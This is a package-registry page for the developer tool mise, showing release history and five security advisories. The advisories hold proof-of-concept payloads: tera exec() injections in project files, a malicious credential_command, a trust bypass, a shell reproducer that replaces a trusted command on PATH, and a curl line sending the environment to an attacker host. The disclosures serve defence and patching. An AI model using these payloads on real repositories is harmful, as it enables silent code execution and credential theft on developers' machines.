mise

dev tools, env vars, task runner

View on Cargo

View on Github

Activity

Latest release: 9h ago
Total releases: 602
Cadence: ~daily
Last 12 months: 213

Reach

Downloads: 443.7k
Stars: 33.9k

Details

License: MIT
First release: Jan 02, 2024

Releases

Version	Released
`2026.9.7` patch	Sep 13, 2026
`2026.9.6` patch	Sep 12, 2026
`2026.9.5` patch	Sep 10, 2026
`2026.9.4` patch	Sep 09, 2026
`2026.9.3` patch	Sep 08, 2026
`2026.9.2` patch	Sep 07, 2026
`2026.9.1` patch	Sep 02, 2026
`2026.9.0` minor	Sep 01, 2026
`2026.8.16` patch	Aug 31, 2026
`2026.8.15` patch	Aug 30, 2026
`2026.8.14` patch	Aug 25, 2026
`2026.8.13` patch	Aug 25, 2026
`2026.8.12` patch	Aug 24, 2026
`2026.8.11` patch	Aug 23, 2026
`2026.8.10` patch	Aug 20, 2026
`2026.8.9` patch	Aug 19, 2026
`2026.8.8` patch	Aug 17, 2026
`2026.8.7` patch	Aug 17, 2026
`2026.8.6` patch	Aug 14, 2026
`2026.8.5` patch	Aug 12, 2026
`2026.8.4` patch	Aug 11, 2026
`2026.8.3` patch	Aug 07, 2026
`2026.8.2` patch	Aug 04, 2026
`2026.8.1` patch	Aug 03, 2026
`2026.8.0` minor	Aug 01, 2026
`2026.7.18` patch	Jul 30, 2026
`2026.7.17` patch	Jul 30, 2026
`2026.7.16` patch	Jul 29, 2026
`2026.7.15` patch	Jul 27, 2026
`2026.7.14` patch	Jul 26, 2026
`2026.7.13` patch	Jul 24, 2026
`2026.7.12` patch	Jul 22, 2026
`2026.7.11` patch	Jul 20, 2026
`2026.7.10` patch	Jul 17, 2026
`2026.7.9` patch	Jul 16, 2026
`2026.7.8` patch	Jul 16, 2026
`2026.7.7` patch	Jul 15, 2026
`2026.7.6` patch	Jul 14, 2026
`2026.7.5` patch	Jul 09, 2026
`2026.7.4` patch	Jul 09, 2026
`2026.7.3` patch	Jul 08, 2026
`2026.7.2` patch	Jul 07, 2026
`2026.7.1` patch	Jul 07, 2026
`2026.7.0` minor	Jul 02, 2026
`2026.6.15` patch	Jun 26, 2026
`2026.6.14` patch	Jun 25, 2026
`2026.6.13` patch	Jun 23, 2026
`2026.6.12` patch	Jun 22, 2026
`2026.6.11` patch	Jun 16, 2026
`2026.6.10` patch	Jun 14, 2026

1–50 of 602

Repository

jdx/mise

Forks: 1.4k
Open issues: 0
Language: Rust

Dependencies (161)

Depends on

2026.9.7

Supply-chain exposure

Known CVEs (5)

CVE-2026-55448 GHSA-29hf-rm4x-xxph Jun 23, 2026

Mise's local credential_command executes untrusted config

6.3 / 10
Medium
Local High None Required Unchanged High High None

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

Settings::try_get() preloads settings from local config files.

parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.

resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.

get_credential_command_token() executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh") .arg("-c") .arg(cmd) .arg("mise-credential-helper") .arg(host) .output()

If a local project file sets:

[settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

Docker

linux-arm64

mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN) /tmp/mise-proof.txt => missing

Primary exploit:

[settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

v2026.3.14: credential_command is rejected as an unknown field

v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

arbitrary command execution as the victim user

no trust prompt

no need for [env], [hooks], tasks, or templates

Important limitation:

if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.github.credential_command = None; } Ok(settings) }

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph
https://github.com/jdx/mise

Updated Jun 23, 2026 · Source: OSV.dev
CVE-2026-55441 GHSA-77g9-363w-rccq Jun 23, 2026

Mise vulnerable to arbitrary command execution via task-include files in an untrusted, config-less repository

8.6 / 10
High
Local Low None Required Changed High High High

Summary

mise's trust feature gates config files (mise.toml, .tool-versions) through trust_check, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (mise-tasks/, .mise/tasks/, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has exec() registered. A {{ exec(command='…') }} in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: mise tasks, mise task ls, mise run, mise tasks --usage (the query shell completion runs on Tab). The victim only has to cd into a cloned repo and list or tab-complete a task

Details

Trust is enforced only inside config-file parsing:

src/config/config_file/mise_toml.rs:276 — MiseToml::from_str → trust_check(path)?

src/config/config_file/tool_versions.rs:62 — .tool-versions parser → trust_check(&path)?

src/config/env_directive/mod.rs:681 — env templates → trust_check(path)? (only when the value contains template syntax)

Task-include files are loaded by load_tasks_in_dir / load_local_tasks_with_context, which walk every directory from CWD up to root. For each directory, configs_at_root returns the parsed (trusted) configs rooted there; if there is no config in the directory, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check:

src/config/mod.rs (load_tasks_in_dir, ~2586):

let (includes, resolve_dir) = configs .iter() .find_map(|cf| match cf.task_config_includes() { … }) .transpose()? .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes … for include in &includes { let paths = … expand_task_include(&resolve_dir, include); for p in paths { let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?; … } }

default_task_includes() (src/config/mod.rs:1825):

vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"]

load_task_file (src/config/mod.rs:2645) reads the TOML directly with no trust check and renders each task:

let raw = file::read_to_string_async(path).await?; let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check … resolve_task_template(&mut task, templates)?; if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec()

Task::render (src/task/mod.rs:1475) renders many fields through tera, and the tera instance is built with get_tera(Some(config_root)):

let mut tera = get_tera(Some(config_root)); … if contains_template_syntax(&self.description) { self.description = render_str(&mut tera, &self.description, &tera_ctx)?; }

get_tera (src/tera.rs:407) registers the command-executing functions:

pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera }

So a tera {{ exec(command='…') }} placed in any rendered task field (description, dir, shell, sources, aliases, depends, tools, …) of a TOML task file — or in a #MISE description="…" header of an executable script task (Task::from_path) — executes when the task is merely loaded for listing, with no trust prompt. exec() is not gated by experimental (default experimental = false).

Proof of concept

Tested against the prebuilt release binary, mise 2026.6.4 linux-x64, with a pristine HOME so nothing is pre-trusted.

Repo layout :

malicious-repo/ └── mise-tasks/ └── ci.toml

mise-tasks/ci.toml:

[test] description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}" run = "cargo test"

Trigger (any of these; a victim who has mise activate set up hits the last one by just pressing Tab to complete a task name):

export HOME="$(mktemp -d)" # nothing pre-trusted export MISE_TRUSTED_CONFIG_PATHS="" cd malicious-repo mise tasks # or: mise task ls / mise run / mise tasks --usage

output:

test

and the side effect :

miau@linux:~$ cat /tmp/mise_clone_proof.txt uid=1000(miau) gid=1000(miau) groups=1000(miau)… linux

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-77g9-363w-rccq
https://github.com/jdx/mise

Updated Jun 23, 2026 · Source: OSV.dev

CVE-2026-54557 GHSA-f94h-j2qg-fxw3 Jun 23, 2026

mise HTTP backend uses raw version path for install symlink destination

5.5 / 10

Medium

Local Low None Required Unchanged None High None

Summary

The mise HTTP backend builds its install symlink destination from the raw resolved version string for non-latest versions. Normal tool install paths use the sanitized version pathname, but the HTTP backend's symlink path uses the raw value. On Unix-like systems, if that version is an absolute path, PathBuf::join discards the intended mise installs root.

A repository-controlled .tool-versions file can therefore make mise install create a symlink outside the mise install tree. With bin_path, the same issue can place an executable symlink under an attacker-selected absolute prefix, such as a developer-tool prefix that is later added to PATH.

The reproducer below also models a CI/developer workflow where a later step executes a preexisting trusted command from a user-local PATH prefix. The absolute-version HTTP entry replaces that command with a symlink to downloaded HTTP content. A non-absolute version control does not replace the trusted PATH command.

Affected Code

In src/backend/http.rs, create_install_symlink() derives the destination path from raw tv.version:

let version_name = if tv.version == "latest" || tv.version.is_empty() {
    &cache_key[..7.min(cache_key.len())]
} else {
    &tv.version
};

let install_path = tv.ba().installs_path.join(version_name);

ToolVersion::tv_pathname() already sanitizes : and / for filesystem version directory names, but this HTTP backend path does not use it.

Impact

Proven:

Outside-root symlink creation from a repository-controlled .tool-versions entry.
Executable symlink materialization under an attacker-selected absolute prefix when bin_path is configured.
The executable symlink can be run if that prefix's bin directory is on PATH.
Replacement of a preexisting command in a trusted PATH prefix in a local workflow-chain model, followed by execution of the replaced command by name.

Not claimed:

mise install does not automatically execute the placed binary in the reproducer.
Windows drive-letter absolute paths are not claimed; the demonstrated impact is Unix-like path behavior.
Credential theft is not claimed.

Why This Crosses A Boundary

.tool-versions is an asdf-compatible project file and is parsed without the mise.toml trust gate used for configuration features that can execute code or affect the environment. Even if a project can choose tools to install, an install operation should keep HTTP backend materialization under the selected mise install/cache roots unless the user explicitly performs a trusted link or path operation.

The HTTP backend documentation describes HTTP tool installations as symlinks under the mise installs directory, for example:

$MISE_DATA_DIR/installs/http-my-tool/1.0.0 -> $MISE_CACHE_DIR/http-tarballs/...

The observed behavior instead allows the project version string to choose an absolute install destination.

Reproduction

The script below performs three local checks:

It creates a .tool-versions entry whose HTTP backend version is an absolute path, then confirms that mise creates a symlink at that outside path.
It creates a second HTTP backend entry with bin_path=bin and confirms that mise places an executable symlink under an attacker-selected absolute prefix and that the symlink is executable when the prefix's bin directory is on PATH.
It creates a preexisting trusted command in a user-local PATH prefix, runs mise install from a project .tool-versions file, and confirms the later trusted command execution is replaced only in the absolute-version case. A non-absolute version control leaves the preexisting command in place.

The script uses a loopback HTTP server and temporary directories only.

#!/bin/sh
set -eu

if ! command -v mise >/dev/null 2>&1; then
  echo "mise must be on PATH" >&2
  exit 1
fi

if ! command -v python3 >/dev/null 2>&1; then
  echo "python3 must be on PATH for the loopback HTTP server" >&2
  exit 1
fi

ROOT="$(mktemp -d)"
OUT="$ROOT/out"
DATA="$ROOT/data"
CACHE="$ROOT/cache"
STATE="$ROOT/state"
CONFIG="$ROOT/config"
WWW="$ROOT/www"

cleanup() {
  if [ -n "${SERVER_PID:-}" ]; then
    kill "$SERVER_PID" 2>/dev/null || true
  fi
  rm -rf "$ROOT"
}
trap cleanup EXIT

mkdir -p "$OUT" "$DATA" "$CACHE" "$STATE" "$CONFIG" "$WWW"

cat > "$WWW/payload" <<'PAYLOAD'
#!/bin/sh
if [ -n "${CHAIN_MARKER:-}" ]; then
  echo ATTACKER_CONTROLLED_TRUSTED_COMMAND > "$CHAIN_MARKER"
else
  echo MISE_HTTP_ABSOLUTE_VERSION_EXECUTED > "$MISE_HTTP_ABSOLUTE_VERSION_MARKER"
fi
PAYLOAD
chmod +x "$WWW/payload"

(
  cd "$WWW"
  python3 -m http.server 54321 --bind 127.0.0.1 >/dev/null 2>&1
) &
SERVER_PID=$!
sleep 1

PROJECT1="$ROOT/project-host-write"
mkdir -p "$PROJECT1"
cat > "$PROJECT1/.tool-versions" <<EOF1
http:absolute-version-one[url=http://127.0.0.1:54321/payload,bin=owned-one] $OUT/owned-link
EOF1

(
  cd "$PROJECT1"
  MISE_DATA_DIR="$DATA" \
  MISE_CACHE_DIR="$CACHE" \
  MISE_STATE_DIR="$STATE" \
  MISE_CONFIG_DIR="$CONFIG" \
  MISE_YES=1 \
  mise install --yes
)

if [ ! -L "$OUT/owned-link" ]; then
  echo "FAIL: outside symlink was not created" >&2
  exit 1
fi

PROJECT2="$ROOT/project-bin-path"
mkdir -p "$PROJECT2"
cat > "$PROJECT2/.tool-versions" <<EOF2
http:absolute-version-two[url=http://127.0.0.1:54321/payload,bin=ownedcmd,bin_path=bin] $OUT/selected-prefix
EOF2

rm -rf "$DATA" "$CACHE" "$STATE" "$CONFIG"
mkdir -p "$DATA" "$CACHE" "$STATE" "$CONFIG"

(
  cd "$PROJECT2"
  MISE_DATA_DIR="$DATA" \
  MISE_CACHE_DIR="$CACHE" \
  MISE_STATE_DIR="$STATE" \
  MISE_CONFIG_DIR="$CONFIG" \
  MISE_YES=1 \
  mise install --yes
)

if [ ! -L "$OUT/selected-prefix/bin/ownedcmd" ]; then
  echo "FAIL: executable symlink was not created under selected prefix" >&2
  exit 1
fi

MARKER="$OUT/executed-marker"
MISE_HTTP_ABSOLUTE_VERSION_MARKER="$MARKER" \
PATH="$OUT/selected-prefix/bin:$PATH" \
ownedcmd

if ! grep -q MISE_HTTP_ABSOLUTE_VERSION_EXECUTED "$MARKER"; then
  echo "FAIL: executable symlink did not run" >&2
  exit 1
fi

echo "VULNERABLE_BEHAVIOR_CONFIRMED"
echo "outside symlink: $OUT/owned-link -> $(readlink "$OUT/owned-link")"
echo "path executable: $OUT/selected-prefix/bin/ownedcmd -> $(readlink "$OUT/selected-prefix/bin/ownedcmd")"

run_path_chain_case() {
  case_name="$1"
  version="$2"
  expected="$3"

  CASE_ROOT="$ROOT/$case_name"
  HOME_DIR="$CASE_ROOT/home"
  CASE_DATA="$CASE_ROOT/data"
  CASE_CACHE="$CASE_ROOT/cache"
  CASE_STATE="$CASE_ROOT/state"
  CASE_CONFIG="$CASE_ROOT/config"
  CASE_PROJECT="$CASE_ROOT/project"
  CASE_MARKER="$CASE_ROOT/marker"

  if [ "$version" = "__HOME_LOCAL_PREFIX__" ]; then
    version="$HOME_DIR/.local"
  fi

  mkdir -p "$HOME_DIR/.local/bin" "$CASE_DATA" "$CASE_CACHE" "$CASE_STATE" "$CASE_CONFIG" "$CASE_PROJECT"
  cat > "$HOME_DIR/.local/bin/trustedcmd" <<'SAFE'
#!/bin/sh
echo SAFE_PREEXISTING_TRUSTED_COMMAND > "$CHAIN_MARKER"
SAFE
  chmod +x "$HOME_DIR/.local/bin/trustedcmd"

  cat > "$CASE_PROJECT/.tool-versions" <<EOF3
http:path-chain[url=http://127.0.0.1:54321/payload,bin=trustedcmd,bin_path=bin] $version
EOF3

  (
    cd "$CASE_PROJECT"
    HOME="$HOME_DIR" \
    MISE_DATA_DIR="$CASE_DATA" \
    MISE_CACHE_DIR="$CASE_CACHE" \
    MISE_STATE_DIR="$CASE_STATE" \
    MISE_CONFIG_DIR="$CASE_CONFIG" \
    MISE_YES=1 \
    mise install --yes
  )

  CHAIN_MARKER="$CASE_MARKER" \
  PATH="$HOME_DIR/.local/bin:$PATH" \
  trustedcmd

  observed="$(cat "$CASE_MARKER")"
  if [ "$observed" != "$expected" ]; then
    echo "FAIL: $case_name expected $expected but saw $observed" >&2
    exit 1
  fi

  if [ "$case_name" = "path-chain-vulnerable" ] && [ ! -L "$HOME_DIR/.local/bin/trustedcmd" ]; then
    echo "FAIL: path-chain case did not replace trustedcmd with a symlink" >&2
    exit 1
  fi
}

run_path_chain_case path-chain-vulnerable "__HOME_LOCAL_PREFIX__" ATTACKER_CONTROLLED_TRUSTED_COMMAND
run_path_chain_case path-chain-control "1.0.0" SAFE_PREEXISTING_TRUSTED_COMMAND

echo "PATH_CHAIN_CONFIRMED"

Expected vulnerable markers:

VULNERABLE_BEHAVIOR_CONFIRMED
PATH_CHAIN_CONFIRMED

Candidate Fix

Use tv.tv_pathname() for non-latest HTTP install symlink names, preserving the current content-addressed behavior for latest or empty versions.

diff --git a/src/backend/http.rs b/src/backend/http.rs
index 4e4e972..18cf8a1 100644
--- a/src/backend/http.rs
+++ b/src/backend/http.rs
@@ -518,12 +518,12 @@ impl HttpBackend {

         // Determine version name for install path
         let version_name = if tv.version == "latest" || tv.version.is_empty() {
-            &cache_key[..7.min(cache_key.len())] // Content-based versioning
+            cache_key[..7.min(cache_key.len())].to_string() // Content-based versioning
         } else {
-            &tv.version
+            tv.tv_pathname()
         };

-        let install_path = tv.ba().installs_path.join(version_name);
+        let install_path = tv.ba().installs_path.join(&version_name);

         // Clean up existing install
         if install_path.exists() {
@@ -839,3 +839,51 @@ impl Backend for HttpBackend {
         }
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::args::{BackendArg, BackendResolution};
+    use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};
+
+    fn http_test_tv(version: &str) -> ToolVersion {
+        let backend = Arc::new(BackendArg::new_raw(
+            "http-absolute-version".to_string(),
+            Some("http:absolute-version".to_string()),
+            "absolute-version".to_string(),
+            None,
+            BackendResolution::new(true),
+        ));
+        let request = ToolRequest::Version {
+            backend,
+            version: version.to_string(),
+            options: ToolVersionOptions::default(),
+            source: ToolSource::Argument,
+        };
+        ToolVersion::new(request, version.to_string())
+    }
+
+    #[test]
+    fn install_symlink_path_uses_sanitized_version_pathname() {
+        let tv = http_test_tv("/outside-root/mise-http-version-out/selected-prefix");
+
+        assert_eq!(
+            tv.tv_pathname(),
+            "-outside-root-mise-http-version-out-selected-prefix"
+        );
+        assert!(!Path::new(&tv.tv_pathname()).is_absolute());
+    }
+
+    #[test]
+    fn latest_install_symlink_still_uses_content_version() {
+        let tv = http_test_tv("latest");
+        let cache_key = "abcdef123456";
+        let version_name = if tv.version == "latest" || tv.version.is_empty() {
+            cache_key[..7.min(cache_key.len())].to_string()
+        } else {
+            tv.tv_pathname()
+        };
+
+        assert_eq!(version_name, "abcdef1");
+    }
+}

Reporter: JUNYI LIU

Fixed in


          2026.6.1

References

Updated Jul 21, 2026 · Source: OSV.dev

CVE-2026-33646 GHSA-fjj5-v948-whjj Jun 22, 2026

Mise Vulnerable to Arbitrary Code Execution via Tera Templates in .tool-versions Files (Trust Bypass)

9.6 / 10
Critical
Network Low None Required Changed High High High

Summary

Mise processes .tool-versions files through the Tera template engine during parsing, with the exec() function registered, enabling arbitrary command execution. Unlike .mise.toml files, .tool-versions files are not subject to trust verification in non-paranoid mode. This means an attacker can place a malicious .tool-versions file in a git repository, and when a victim with mise activated cds into the directory, arbitrary commands execute without any trust prompt.

Vulnerability Details

Vulnerable Code

File: src/config/config_file/tool_versions.rs, lines 60-63

pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); let s = get_tera(dir).render_str(s, &cf.context)?; // <-- No trust check // ... }

File: src/tera.rs, lines 385-391

pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera }

File: src/tera.rs, lines 394-452 -- tera_exec passes the command argument to a shell for execution with no restrictions.

File: src/config/config_file/mod.rs, lines 272-287

pub async fn parse(path: &Path) -> Result<Arc<dyn ConfigFile>> { if let Ok(settings) = Settings::try_get() && settings.paranoid { trust_check(path)?; // Only in paranoid mode! } match detect_config_file_type(path).await { // ... Some(ConfigFileType::ToolVersions) => Ok(Arc::new(ToolVersions::from_file(path)?)), // ... } }

Attack Vector

An attacker creates a .tool-versions file in a git repository containing Tera template syntax with the exec() function.

The victim clones the repository and has mise activated in their shell (via eval "$(mise activate zsh)" or equivalent).

When the victim cds into the repository directory, mise's shell hook (hook-env) fires automatically.

hook-env loads and parses config files, including .tool-versions.

During parsing, ToolVersions::parse_str processes the file content through get_tera(dir).render_str().

The Tera engine evaluates {{ exec(command="...") }}, executing arbitrary commands as the victim's user.

No trust prompt is displayed because trust_check is not called for .tool-versions files in non-paranoid mode.

Execution Context

Commands execute as the current user with full access to their environment.

The pristine environment (env::PRISTINE_ENV) is passed to the executed command, which includes all of the user's environment variables (potentially including tokens, credentials, SSH agents, etc.).

Execution happens silently during the prompt hook -- the user sees no indication that code was run.

Contrast with .mise.toml

.mise.toml files are protected: MiseToml::from_str() calls trust_check(path) before any parsing occurs (line 213 of mise_toml.rs). During hook-env, untrusted .mise.toml files fail to parse with an UntrustedConfig error, preventing any code execution. .tool-versions files lack this protection entirely.

Steps to Reproduce

Prerequisites

mise installed (brew install mise or equivalent)

Shell activation enabled: eval "$(mise activate zsh)" (or bash/fish)

Default settings (paranoid mode NOT enabled — this is the default)

PoC: Silent RCE on cd

Step 1: Create a directory simulating a cloned repository with a malicious .tool-versions:

mkdir -p /tmp/poc-mise-repo cd /tmp/poc-mise-repo git init cat > .tool-versions << 'EOF' {{ exec(command="id > /tmp/mise-rce-proof && echo SUCCESS=$(whoami) >> /tmp/mise-rce-proof && date >> /tmp/mise-rce-proof") }}node 20.0.0 python 3.11.0 EOF git add -A && git commit -m "Initial commit"

Note: The exec() output is concatenated with node so the resulting line parses as a valid tool-versions entry. The payload redirects all output to a file, producing no stdout — the exec() returns an empty string, making the line evaluate to node 20.0.0.

Step 2: In a new shell with mise activated, enter the directory:

eval "$(mise activate zsh)" cd /tmp/poc-mise-repo

Step 3: Verify arbitrary code execution:

cat /tmp/mise-rce-proof

Expected output:

uid=501(youruser) gid=20(staff) groups=20(staff),... SUCCESS=youruser Mon Mar 16 21:34:46 IST 2026

No trust prompt, no warning, no error output. The id command executed silently as the current user.

Validated Test Results

Tested on 2026-03-16 with:

mise 2026.3.9 macos-arm64

macOS Darwin 24.5.0 arm64

zsh 5.9

Paranoid mode: false (default)

Test 1 — .tool-versions (no trust check):

$ rm -f /tmp/mise-rce-proof $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-repo && pwd' /tmp/poc-mise-repo $ cat /tmp/mise-rce-proof uid=501(golan) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),... SUCCESS=golan Mon Mar 16 21:34:46 IST 2026

Command executed silently. No trust prompt. No errors.

Test 2 — .mise.toml with same payload (trust check blocks execution):

$ mkdir -p /tmp/poc-mise-toml $ cat > /tmp/poc-mise-toml/.mise.toml << 'TOMLEOF' [tools] node = "{{ exec(command='id > /tmp/mise-hook-pwned') }}20.0.0" TOMLEOF $ rm -f /tmp/mise-hook-pwned $ zsh -c 'eval "$(mise activate zsh)" && cd /tmp/poc-mise-toml && pwd' mise ERROR Config files in /private/tmp/poc-mise-toml/.mise.toml are not trusted. Trust them with `mise trust`. See https://mise.jdx.dev/cli/trust.html $ cat /tmp/mise-hook-pwned cat: /tmp/mise-hook-pwned: No such file or directory

.mise.toml correctly blocked by trust verification. .tool-versions bypasses it entirely.

Alternative PoC (data exfiltration)

{{ exec(command="curl -s -X POST -d \"$(env | base64)\" https://attacker.example.com/collect -o /dev/null") }}python 3.11.0

Impact

Arbitrary code execution on any machine where a user with mise activated enters a directory containing a malicious .tool-versions file.

Supply chain attack vector: .tool-versions is a widely-used convention from asdf-vm and is commonly committed to repositories. Developers expect it to contain only tool names and versions, not executable content.

Silent execution: No trust prompt, warning, or user interaction required.

Full user privilege escalation: Commands run with the full privileges and environment of the current user.

Credential theft: The user's full environment (including tokens, API keys, SSH agent) is available to the executed command.

Widespread potential impact: Any open-source project with a .tool-versions file could be targeted. A malicious PR adding tera syntax to an existing .tool-versions file could execute code on all reviewers' machines.

Suggested Fix

Option 1: Add trust_check to .tool-versions parsing (recommended)

// In src/config/config_file/tool_versions.rs pub fn from_file(path: &Path) -> Result<Self> { trace!("parsing tool-versions: {}", path.display()); Self::parse_str(&file::read_to_string(path)?, path.to_path_buf()) } pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); // Only use tera if the file contains template syntax AND is trusted let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") { trust_check(&path)?; get_tera(dir).render_str(s, &cf.context)? } else { s.to_string() }; // ... }

Option 2: Remove exec() from .tool-versions tera context

Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

Option 3: Remove tera processing from .tool-versions entirely

.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

Fixed in

2026.3.10

References

https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj
https://nvd.nist.gov/vuln/detail/CVE-2026-33646
https://github.com/jdx/mise

Updated Jul 21, 2026 · Source: OSV.dev
CVE-2026-35533 GHSA-436v-8fw5-4mj8 Apr 07, 2026

Local settings bypass config trust checks

7.7 / 10
High
Local High None Required Changed High High High

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

Settings::try_get() preloads local settings files.

parse_settings_file() returns settings_file.settings without checking whether the file is trusted.

trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get(); for p in settings.trusted_config_paths() { if canonicalized_path.starts_with(p) { add_trusted(canonicalized_path.to_path_buf()); return true; } }

If a local project file sets:

[settings] trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

Docker

linux-arm64

mise v2026.3.17

Negative control:

[env] _.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings] trusted_config_paths = ["/"] [env] _.source = ["./poc.sh"]

with:

#!/usr/bin/env bash echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

v2026.2.17: local yes = true does not bypass trust

v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

execution via [env] _.source during mise hook-env

bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

trusted_config_paths

yes

ci

paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.yes = None; settings.ci = None; settings.trusted_config_paths = None; settings.paranoid = None; } Ok(settings) }

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8
https://nvd.nist.gov/vuln/detail/CVE-2026-35533
https://github.com/jdx/mise

Updated Jun 12, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 2
minor 30
patch 569

602 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More